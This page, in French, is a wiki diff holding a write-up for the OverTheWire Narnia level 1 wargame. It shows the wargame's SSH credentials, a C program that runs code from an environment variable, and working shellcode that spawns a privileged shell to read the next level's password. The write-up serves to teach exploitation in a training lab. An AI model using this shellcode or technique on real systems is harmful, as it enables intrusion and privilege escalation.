Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
— |
overthewire_narnia:level1 [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
+ | ====== Level 1 ====== | ||
+ | <code> | ||
+ | ssh narnia1@narnia.labs.overthewire.org | ||
+ | pass : efeidiedae | ||
+ | </code> | ||
+ | |||
+ | <code C> | ||
+ | #include <stdio.h> | ||
+ | |||
+ | int main(){ | ||
+ | int (*ret)(); | ||
+ | |||
+ | if(getenv("EGG")==NULL){ | ||
+ | printf("Give me something to execute at the env-variable EGG\n"); | ||
+ | exit(1); | ||
+ | } | ||
+ | |||
+ | printf("Trying to execute EGG!\n"); | ||
+ | ret = getenv("EGG"); | ||
+ | ret(); | ||
+ | |||
+ | return 0; | ||
+ | } | ||
+ | </code> | ||
+ | |||
+ | Le programme exécute le code présent dans la variable d’environnement ''EGG'', nous allons donc mettre notre shellcode dedans. | ||
+ | |||
+ | <code> | ||
+ | narnia1@melissa:/narnia$ export EGG=$(python -c 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"') | ||
+ | narnia1@melissa:/narnia$ ./narnia1 | ||
+ | Trying to execute EGG! | ||
+ | bash-4.2$ id | ||
+ | uid=14001(narnia1) gid=14001(narnia1) euid=14002(narnia2) groups=14002(narnia2),14001(narnia1) | ||
+ | bash-4.2$ cat /etc/narnia_pass/narnia2 | ||
+ | nairiepecu | ||
+ | </code> |